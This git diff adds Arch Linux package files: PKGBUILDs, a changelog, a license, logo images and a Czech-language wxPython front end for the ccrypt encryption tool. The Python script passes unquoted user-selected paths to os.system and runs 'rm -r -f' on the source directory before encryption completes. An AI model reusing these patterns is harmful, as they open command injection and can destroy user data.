zpg(*UMwUk+F))u=Xd^m=iqJ)L4?I&5_rQIiGyQ~r#U*$%w1Rukcj^#L+LOP)Ow!3$ zL zSK>90Jf}c4&jd0kff<#DHrNUhr8DVH29x2CD~q5#<&gq%2GmoTK1T!k3hfR&eV;C& ze*>Z%2G{&fBaownwS{C!V;P{KY?j0FSph3%B`gY3CYA?~G|9l4G@ijTc{U_$J}=-NObAq(lvY~O@3{5lb0EnsGYHOfBu?jL0M;? z(M2_}Pg)06oM(F)OR8N?nJx1nopDJRr-jL_W48{d-AKtW&NO2#(z*T2VYlvvquY+S z?aUB=&GaE>lXq#R-r>|;IX6P~X%`$_$6_Y>Ho2C;a{8O#+F9p6%(T1x{6|gvgYMeS zey+ubZx}F?tGBOAjG7^s=45@Y@=i|I;YmUJp1LZ1f2hsnx;R2)0n3!0pg^fp4gV(e z7A;T~Uyu~iv}l3)@kb1KyeBP0mp|m0)44hE@XrgnT?g5>HXn1WxnTB!d8MV|48auk z+lsDzY|9hA^LmC~n%<)*nWB8t*KbnvhPPHG)6Cj?qi^-qd5GKR3Epm$u6`MKV&dlu zzV9zBk0@Ps(_5#rH2Lq1f@$ZLIc$$$yse*d{AT2|1Gf*~+kNO6`@wg|4}MEO^ly3- z)3rvneJrAHm}O;HRbyCm?=YK&Fxg&VbTwi3UD9zv@x!;ryB%3~$X;>b*xL5nF?vC~ zke6d@K=~DJUf_{8vf!!)n?_M^Un<6Z}272>NO?t9RsSz$G=^|{j}y@RJe6fHO*wTChPP~{GhJ=Na# zwI_ay8{1ldfXFMIVKoQb9T25wOX@#*7)Kn1$CI$|MBA^>Z z%}iV;Y-V66S+{^^U;Sc<}tk=0-nmzF_ z1H+Cj=nh{?f~hziz8fw6RN!F)iob~!j08ixxF{LL(dU7VPCCR8>c5DA;l*ku1_P*x zj0_4u)@341L~?L4B%mR2nP1#wog)ydy2qS>LH8m9gAI!51=37Jxffx2d{Sm!Vo_y$ zN@7W(9@Hji%0`P)HKTN*3=AE7K!O1P_FBP1 literal 0 HcmV?d00001 diff --git a/wxccrypt/PKGBUILD b/wxccrypt/PKGBUILD new file mode 100644 index 0000000..8346695 --- /dev/null +++ b/wxccrypt/PKGBUILD @@ -0,0 +1,28 @@ +# Contributor: Thomas Mudrunka +# You can also contact me on http://blog.harvie.cz/ + +pkgname=wxccrypt +pkgver=0.2 +pkgrel=1 +pkgdesc="Graphical interface for ccrypt written in wxpython." +arch=('any') +license=('GPL') +url="http://projekt-dvp.s.cz/search.php?rsvelikost=sab&rstext=all-phpRS-all&rstema=14&stromhlmenu=3" +depends=( + 'ccrypt' + 'wxpython' +) + +source=( + "http://projekt-dvp.s.cz/storage/1159559979_sb_wxccrypt_v_02.tar" +) + +md5sums=( + '3ac37a5eab099f351aaa49a4ff75d701' +) + +build() { + mkdir -p ${pkgdir}/usr/bin + cp ${srcdir}/wx_ccrypt_2.py ${pkgdir}/usr/bin/wxccrypt + chmod -R 755 ${pkgdir}/ +} diff --git a/wxccrypt/wx_ccrypt_2.py b/wxccrypt/wx_ccrypt_2.py new file mode 100755 index 0000000..c67bae4 --- /dev/null +++ b/wxccrypt/wx_ccrypt_2.py @@ -0,0 +1,363 @@ +#!/usr/bin/env python +from wxPython.wx import * +from wxPython.lib.stattext import wxGenStaticText +import os +import gettext +# we want a unique identifiers to associate with each menu +# option. I use the convention of all (menu) identifiers begin +# with 'ID', followed by the menu the option belongs to, then +# the option name. It's a bit wordy, but I like it. +ID_FILE_CRYPT = wxNewId() +ID_FILE_DECRYPT = wxNewId() +ID_FILE_EXIT = wxNewId() +ID_HELP_ABOUT = wxNewId() +ID_LANG_US = wxNewId() +ID_LANG_CZ =wxNewId() +ID_DIR_CRYPT=wxNewId() +ID_DIR_DECRYPT=wxNewId() +ID_HELP_MANUAL=wxNewId() +ID_OPTION=wxNewId() + +[wxID_WXFRAME1, wxID_WXFRAME1BUTTON1, wxID_WXFRAME1BUTTON2, + wxID_WXFRAME1BUTTON3, wxID_WXFRAME1BUTTON4, wxID_WXFRAME1GENSTATICTEXT1, + wxID_WXFRAME1STATICBOX1, wxID_WXFRAME1STATICBOX2, wxID_WXFRAME1STATICBOX3, + wxID_WXFRAME1STATICBOX4, wxID_WXFRAME1STATICTEXT1, wxID_WXFRAME1STATICTEXT2, + wxID_WXFRAME1STATICTEXT3, wxID_WXFRAME1STATICTEXT4, wxID_WXFRAME1STATICTEXT5, + wxID_WXFRAME1TEXTCTRL1, +] = map(lambda _init_ctrls: wxNewId(), range(16)) +class myFrame(wxFrame): + def __init__(self, parent, id, title): + # create a frame for our demo + wxFrame.__init__(self, parent, id, title) + self.SetClientSize(wxSize(545, 436)) + # create the 'File' menu, then add the 'open', + # 'close', and 'exit' options. Notice that we use + # the identifiers created above to associate an id + # to each menu item (we will use the id again when + # we want to 'tell' the program what to do when the + # user selects a menu item). We didn't mention + # the 'AppendSeparator()', but you should be able + # to figure out what it does :-) + # + file_menu = wxMenu() + file_menu.Append(ID_FILE_CRYPT, 'Crypt File') + file_menu.Append(ID_FILE_DECRYPT, 'Decrypt File') + file_menu.AppendSeparator() + file_menu.Append(ID_DIR_CRYPT, 'crypt directory') + file_menu.Append(ID_DIR_DECRYPT, 'decrypt directory') + file_menu.AppendSeparator() + file_menu.Append(ID_FILE_EXIT, 'Exit Program') + # create the 'Help' menu + help_menu = wxMenu() + help_menu.Append(ID_HELP_ABOUT, 'About') + help_menu.Append(ID_HELP_MANUAL, 'Manual') + # we now need a menu bar to hold the 2 menus just created + menu_bar = wxMenuBar() + + pref_menu = wxMenu() + + pref_menu.Append(ID_OPTION, 'Options') + menu_bar.Append(file_menu, 'File') + menu_bar.Append(pref_menu, "Options") + menu_bar.Append(help_menu, 'Help') + + # set the menu bar (tells the system we're done) + self.SetMenuBar(menu_bar) + # that's great! Now let's make the menu options do something! + # Using EVT_MENU, we associate the identifier for each menu + # item to a method to be called when the menu item is selected. + # Most of these items will call the 'ToDo' function; essentially + # a small stub method to tell the user something will happen, + # but we have not got around to programming it, yet. + # + EVT_MENU(self, ID_FILE_CRYPT, self.file_encrypt) + EVT_MENU(self, ID_FILE_DECRYPT, self.de_file) + EVT_MENU(self, ID_FILE_EXIT, self.OnFileExit) + EVT_MENU(self, ID_HELP_ABOUT, self.ToDo) + EVT_MENU(self, ID_DIR_CRYPT, self.adr_encrypt) + EVT_MENU(self, ID_DIR_DECRYPT, self.adr_de_crypt) + EVT_MENU(self, ID_OPTION, self.ToDo) + #-----------------------------------------Zacatek ----------------------------------------------- + + self.button1 = wxButton(id=wxID_WXFRAME1BUTTON1, label='vyber', + name='button1', parent=self, pos=wxPoint(408, 56), size=wxSize(80, + 22), style=0) + EVT_BUTTON(self.button1, wxID_WXFRAME1BUTTON1, self.file_encrypt) + + self.staticText1 = wxStaticText(id=wxID_WXFRAME1STATICTEXT1, + label='vyber s\xfabor kter\xfd chce\xb9 zakryptovat', + name='staticText1', parent=self, pos=wxPoint(24, 56), + size=wxSize(384, 32), style=0) + + self.staticBox1 = wxStaticBox(id=wxID_WXFRAME1STATICBOX1, label='', + name='staticBox1', parent=self, pos=wxPoint(8, 48), + size=wxSize(528, 32), style=0) + + self.genStaticText1 = wxGenStaticText(ID=wxID_WXFRAME1GENSTATICTEXT1, + label='WX CCRYPT v0.2', name='genStaticText1', parent=self, + pos=wxPoint(152, 8), size=wxSize(202, 27), style=0) + self.genStaticText1.SetFont(wxFont(24, 77, wxNORMAL, wxBOLD, False, + 'helvetica')) + + self.textCtrl1 = wxTextCtrl(id=wxID_WXFRAME1TEXTCTRL1, name='textCtrl1', + parent=self, pos=wxPoint(8, 272), size=wxSize(528, 136), + style=wxTE_MULTILINE | wxVSCROLL | wxTE_READONLY, value='') + + self.staticText2 = wxStaticText(id=wxID_WXFRAME1STATICTEXT2, + label='status', name='staticText2', parent=self, pos=wxPoint(8, + 248), size=wxSize(48, 32), style=0) + + self.staticBox2 = wxStaticBox(id=wxID_WXFRAME1STATICBOX2, label='', + name='staticBox2', parent=self, pos=wxPoint(9, 183), + size=wxSize(528, 42), style=0) + + self.staticText3 = wxStaticText(id=wxID_WXFRAME1STATICTEXT3, + label='vyber adres\xe1r kter\xfd chce\xb9 zakrypovat', + name='staticText3', parent=self, pos=wxPoint(24, 152), + size=wxSize(232, 72), style=0) + + self.button2 = wxButton(id=wxID_WXFRAME1BUTTON2, label='vyber', + name='button2', parent=self, pos=wxPoint(408, 144), + size=wxSize(80, 22), style=0) + EVT_BUTTON(self.button2, wxID_WXFRAME1BUTTON2, self.adr_encrypt) + + self.staticBox3 = wxStaticBox(id=wxID_WXFRAME1STATICBOX3, label='', + name='staticBox3', parent=self, pos=wxPoint(8, 88), + size=wxSize(528, 40), style=0) + + self.staticText4 = wxStaticText(id=wxID_WXFRAME1STATICTEXT4, + label='vyber s\xfabor kter\xfd chce\xb9 rozkryptovat', + name='staticText4', parent=self, pos=wxPoint(24, 104), + size=wxSize(208, 16), style=0) + + self.button3 = wxButton(id=wxID_WXFRAME1BUTTON3, label='vyber', + name='button3', parent=self, pos=wxPoint(408, 96), size=wxSize(80, + 22), style=0) + EVT_BUTTON(self.button3, wxID_WXFRAME1BUTTON3, self.de_file) + + self.staticBox4 = wxStaticBox(id=wxID_WXFRAME1STATICBOX4, label='', + name='staticBox4', parent=self, pos=wxPoint(8, 136), + size=wxSize(528, 40), style=0) + + self.staticText5 = wxStaticText(id=wxID_WXFRAME1STATICTEXT5, + label='vyber adres\xe1r kter\xfd chce\xb9 rozkryptovat', + name='staticText5', parent=self, pos=wxPoint(21, 194), + size=wxSize(488, 32), style=0) + + self.button4 = wxButton(id=wxID_WXFRAME1BUTTON4, label='vyber', + name='button4', parent=self, pos=wxPoint(411, 188), + size=wxSize(80, 22), style=0) + EVT_BUTTON(self.button4, wxID_WXFRAME1BUTTON4, self.adr_de_crypt) + + + + def OnFileExit(self, evt): + """ + This is executed when the user clicks the 'Exit' option + under the 'File' menu. We ask the user if they *really* + want to exit, then close everything down if they do. + """ + dlg = wxMessageDialog(self, 'Exit Program?', 'I Need To Know!', + wxYES_NO | wxICON_QUESTION) + if dlg.ShowModal() == wxID_YES: + dlg.Destroy() + self.Close(true) + else: + dlg.Destroy() + def ToDo(self, evt): + """ + A general purpose "we'll do it later" dialog box + """ + dlg = wxMessageDialog(self, 'Not Yet Implimented!', 'ToDo', + wxOK | wxICON_INFORMATION) + dlg.ShowModal() + dlg.Destroy() + def file_encrypt2(self, event): + event.Skip() + dlg = wxFileDialog(self, "Choose a file", ".", "", "*.*", wxOPEN) + try: + if dlg.ShowModal() == wxID_OK: + filename = dlg.GetPath() + # Your code + self.textCtrl1.AppendText("vybral si %s" % filename) + os.system("xterm -e ccencrypt %s" % filename) + konecny= filename + '.cpt' + self.textCtrl1.AppendText(" \n zakryptoval sem %s " % konecny) + self.textCtrl1.AppendText("\n Ukol splnen na 100 %") + + finally: + dlg.Destroy() + + + + + + def decryptujHO(self, filename): + #funkce decryptuj adresar + self.textCtrl1.AppendText("\n rozkryptovavam %s" % filename) + self.textCtrl1.AppendText("\n Budete dotazany na heslo") + os.system("xterm -e ccdecrypt %s" % filename) + nazev=filename[:-4] + self.textCtrl1.AppendText("\n rozkryptoval sem %s" % nazev) + os.system("tar -xPf %s" % nazev) + self.textCtrl1.AppendText("\n Ukol splnen na 100%") + Kde=os.getcwd() + vypis=os.system("ls -la %s" % Kde) + self.textCtrl1.AppendText("\n %s" % vypis) + def decryptujHO2(self, filename): + self.textCtrl1.AppendText("\n rozkryptovavam %s" % filename) + self.textCtrl1.AppendText("\n Budete dotazany na heslo") + os.system("xterm -e ccdecrypt -d %s" % filename) + #nazev=filename[:-4] + self.textCtrl1.AppendText("\n rozkryptoval sem %s" % filename) + #os.system("tar -xvvf %s" % nazev) + self.textCtrl1.AppendText("\n Ukol splnen na 100%") + #Kde=os.getcwd() + # vypis=os.system("ls -la %s" % Kde) + #self.textCtrl1.AppendText("\n %s" % vypis) + def de_file(self, event): + + event.Skip() + dlg = wxFileDialog(self, "Choose a file", ".", "", "*.cpt", wxOPEN) + try: + if dlg.ShowModal() == wxID_OK: + filename = dlg.GetPath() + # Your code + self.textCtrl1.AppendText("vybraly ste %s" % filename) + dlg = wxMessageDialog(self, 'Chcete rozkryptovat %s. ??? \n ' % (filename), + 'Potvrzeni', wxYES_NO | wxICON_INFORMATION) + try: + dlg.ShowModal() + + finally: + #dlg.Destroy() + if dlg.ShowModal() == wxID_YES: + self.decryptujHO2(filename) + finally: + dlg.Destroy + + + def cryptujHO(self, dir): + # metoda zakryptuj adresar priamo funkce + #print "a sme tu a chceme zakryptovat %s" %dir + self.textCtrl1.AppendText("potvril si zakryptovat adresar %s " % dir) + nazev= dir + '.tar' + os.system("tar -cPvf %s %s" % (nazev, dir)) + os.system("rm -r -f %s" % (dir)) + self.textCtrl1.AppendText("\n zapakoval sem %s " % nazev) + os.system("xterm -e ccencrypt %s" % nazev) + konecny= nazev + '.cpt' + self.textCtrl1.AppendText(" \n zakryptoval sem %s " % konecny) + self.textCtrl1.AppendText("\n Ukol splnen na 100 %") + def cryptujHO3(self, dir): + # metoda zakryptuj adresar priamo funkce + #print "a sme tu a chceme zakryptovat %s" %dir + self.textCtrl1.AppendText("potvril si zakryptovat subor %s " % dir) + #nazev= dir + '.tar' + #os.system("tar -cvvf %s " % (nazev)) + #self.textCtrl1.AppendText("\n zapakoval sem %s " % nazev) + os.system("xterm -e ccencrypt %s" % dir) + konecny= dir + '.cpt' + self.textCtrl1.AppendText(" \n zakryptoval sem %s " % konecny) + self.textCtrl1.AppendText("\n Ukol splnen na 100 %") + + def adr_encrypt(self, event): + event.Skip() + dlg = wxDirDialog(self, "Choose a file", ".") + try: + if dlg.ShowModal() == wxID_OK: + dir = dlg.GetPath() + + self.textCtrl1.AppendText("vybral si adresar %s \n" % dir) + #kolik = os.popen("du -ch %s" % dir , 'r' ).readline() + kde=os.getcwd() + #self.textCtrl1.AppendText("Bude se kryptovat %s" % kolik) + dlg = wxMessageDialog(self, 'Vybral si adresar %s. \n Vytvoreny zakryptovany subor bude ulozen do \n %s .\n Opravdu ho chces zakryptovat ? \n' % (dir, kde), + 'Potvrzeni', wxYES_NO | wxICON_INFORMATION) + + try: + dlg.ShowModal() + + finally: + if dlg.ShowModal() == wxID_YES: + self.cryptujHO(dir) + + + dlg.Destroy() + + + # Your code + finally: + dlg.Destroy() + def file_encrypt(self, event): + + event.Skip() + dlg = wxFileDialog(self) + try: + if dlg.ShowModal() == wxID_OK: + dir = dlg.GetPath() + self.textCtrl1.AppendText("vybral si subor %s \n" % dir) + # kolik = os.popen("du -ch %s" % dir , 'r' ).readline() + kde=os.getcwd() + # self.textCtrl1.AppendText("Bude se kryptovat %s" % kolik) + dlg = wxMessageDialog(self, 'Vybral si subor %s. \n Vytvoreny zakryptovany subor bude ulozen do \n %s .\n Opravdu ho chces zakryptovat ? \n' % (dir, kde), + 'Potvrzeni', wxYES_NO | wxICON_INFORMATION) + + try: + dlg.ShowModal() + + finally: + if dlg.ShowModal() == wxID_YES: + self.cryptujHO3(dir) + + + dlg.Destroy() + + + # Your code + finally: + dlg.Destroy() + + + def adr_de_crypt(self, event): + event.Skip() + dlg = wxFileDialog(self, "Choose a file", ".", "", "*.cpt", wxOPEN) + try: + if dlg.ShowModal() == wxID_OK: + filename = dlg.GetPath() + # Your code + self.textCtrl1.AppendText("vybraly ste %s" % filename) + dlg = wxMessageDialog(self, 'Chcete rozkryptovat %s. ??? \n ' % (filename), + 'Potvrzeni', wxYES_NO | wxICON_INFORMATION) + try: + dlg.ShowModal() + + finally: + #dlg.Destroy() + if dlg.ShowModal() == wxID_YES: + self.decryptujHO(filename) + finally: + dlg.Destroy + + def konec(self, event): + event.Skip() + + def OnMenu1Items0Menu(self, event): + event.Skip() + def options(self, event): + event.Skip() +class myMenuApp(wxApp): + def OnInit(self): + frame = myFrame(NULL, -1, 'WX CCRYPT , encrytpt your file or directory') + + + + + frame.Show(true) + self.SetTopWindow(frame) + return true +########################################################################## +### Test Code ############################################################ +########################################################################## +app=myMenuApp(0) +app.MainLoop() diff --git a/xscreensaver-arch-logo/ChangeLog b/xscreensaver-arch-logo/ChangeLog new file mode 100644 index 0000000..c203e70 --- /dev/null +++ b/xscreensaver-arch-logo/ChangeLog @@ -0,0 +1,40 @@ +2010-05-17 Eric Belanger + + * xscreensaver 5.11-1 + * Upstream update + +2009-10-17 Eric Belanger + + * xscreensaver 5.10-2 + * Added support for electricsheep (close FS#16400) + +2009-09-09 Eric Belanger + + * xscreensaver 5.10-1 + * Upstream update + +2009-09-03 Eric Belanger + + * xscreensaver 5.09-1 + * Upstream update + +2009-01-02 Eric Belanger + + * xscreensaver 5.08-1 + * Upstream update + +2008-08-11 Eric Belanger + + * xscreensaver 5.07-1 + * Upstream update + +2008-07-18 Eric Belanger + + * xscreensaver 5.06-1 + * Upstream update + +2008-03-02 Eric Belanger + + * xscreensaver 5.05-1 + * Upstream update + * FHS man pages diff --git a/xscreensaver-arch-logo/LICENSE b/xscreensaver-arch-logo/LICENSE new file mode 100644 index 0000000..4f587b5 --- /dev/null +++ b/xscreensaver-arch-logo/LICENSE @@ -0,0 +1,9 @@ +/* xscreensaver, Copyright (c) 1993-2006 Jamie Zawinski + * Permission to use, copy, modify, distribute, and sell this software and its + * documentation for any purpose is hereby granted without fee, provided that + * the above copyright notice appear in all copies and that both that + * copyright notice and this permission notice appear in supporting + * documentation. No representations are made about the suitability of this + * software for any purpose. It is provided "as is" without express or + * implied warranty. + */ diff --git a/xscreensaver-arch-logo/PKGBUILD b/xscreensaver-arch-logo/PKGBUILD new file mode 100644 index 0000000..86c0e5f --- /dev/null +++ b/xscreensaver-arch-logo/PKGBUILD @@ -0,0 +1,57 @@ +# Contributor: Thomas Mudrunka +# Maintainer: Thomas Mudrunka +# You can also contact me on http://blog.harvie.cz/ + +# -Original Maintainer: Eric Belanger +# -Original Contributor: Sean Middleditch + +pkgname=xscreensaver-arch-logo +_original_pkgname=xscreensaver +pkgver=5.11 +pkgrel=1 +pkgdesc="Screen saver and locker for the X Window System. Version with replaced art/logos/graphics to better fit to the ArchLinux (Gnome,KDE,XFCE,...). Also adds enchanced desktop icon." +arch=('i686' 'x86_64') +url="http://www.jwz.org/xscreensaver/" +license=('BSD') +depends=('libxxf86misc' 'libglade' 'mesa' 'pam' 'xorg-res-utils') +makedepends=('bc') +conflicts=('xscreensaver') +provides=('xscreensaver') +backup=('etc/pam.d/xscreensaver') +source=(http://www.jwz.org/xscreensaver/${_original_pkgname}-${pkgver}.tar.gz \ + add-electricsheep.diff xscreensaver.pam LICENSE + logo-50.xpm logo-180.xpm logo-50.png logo-180.png) +md5sums=('80f981b86734ccb31c5b3b24af3930ae' + 'f82524626ed8a6832cd279e0548a9b46' + '367a3538f54db71f108b34cfa31088ac' + '5e7f3f2a63d20a484742f5b4cb5d572c' + '3ab3668446f774f3539cf80a6538c188' + '6c02caa437038fe275bbed7c94f1f982' + '5c07dfa0c24edf141db09546bd11cc12' + '04f820ef64a2b9580ad40fa389885133') + +build() { + cd "${srcdir}/${_original_pkgname}-${pkgver}" + patch -Np0 -i "${srcdir}/add-electricsheep.diff" || return 1 + + cd ${srcdir} + cp -f logo-180.xpm ${_original_pkgname}-${pkgver}/utils/images/ + + cd "${srcdir}/${_original_pkgname}-${pkgver}" + ./configure --prefix=/usr --sysconfdir=/etc --localstatedir=/var \ + --libexecdir=/usr/lib --with-x-app-defaults=/usr/share/X11/app-defaults \ + --with-pam --without-motif --with-gtk --without-gnome --with-xml --with-gl \ + --without-gle --with-xpm --with-pixbuf --with-jpeg || return 1 + (cd hacks ; make m6502.h) + (cd hacks/glx ; make molecules.h) + make || return 1 +} + +package() { + cd "${srcdir}/${_original_pkgname}-${pkgver}" + make install_prefix="${pkgdir}" install || return 1 + install -D -m644 ../LICENSE "${pkgdir}/usr/share/licenses/${_original_pkgname}/LICENSE" || return 1 + install -D -m644 ../xscreensaver.pam "${pkgdir}/etc/pam.d/xscreensaver" || return 1 + chmod 755 "${pkgdir}/usr/bin/xscreensaver" || return 1 + #echo "NotShowIn=KDE;GNOME;" >> "${pkgdir}/usr/share/applications/xscreensaver-properties.desktop" || return 1 +} diff --git a/xscreensaver-arch-logo/add-electricsheep.diff b/xscreensaver-arch-logo/add-electricsheep.diff new file mode 100644 index 0000000..964de64 --- /dev/null +++ b/xscreensaver-arch-logo/add-electricsheep.diff @@ -0,0 +1,12 @@ +--- driver/XScreenSaver.ad.in-orig 2009-10-17 02:19:06.000000000 -0400 ++++ driver/XScreenSaver.ad.in 2009-10-17 02:21:16.000000000 -0400 +@@ -347,7 +347,8 @@ + - lcdscrub -root \n\ + @GL_KLUDGE@ GL: photopile -root \n\ + @GL_KLUDGE@ GL: skytentacles -root \n\ +-@GL_KLUDGE@ GL: rubikblocks -root \n ++@GL_KLUDGE@ GL: rubikblocks -root \n\ ++ electricsheep --root 1 \n + + + diff --git a/xscreensaver-arch-logo/logo-180.png b/xscreensaver-arch-logo/logo-180.png new file mode 100644 index 0000000000000000000000000000000000000000..5df48f8f5e09c4e06885d7bf5fe926bdd8648070 GIT binary patch literal 17053 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 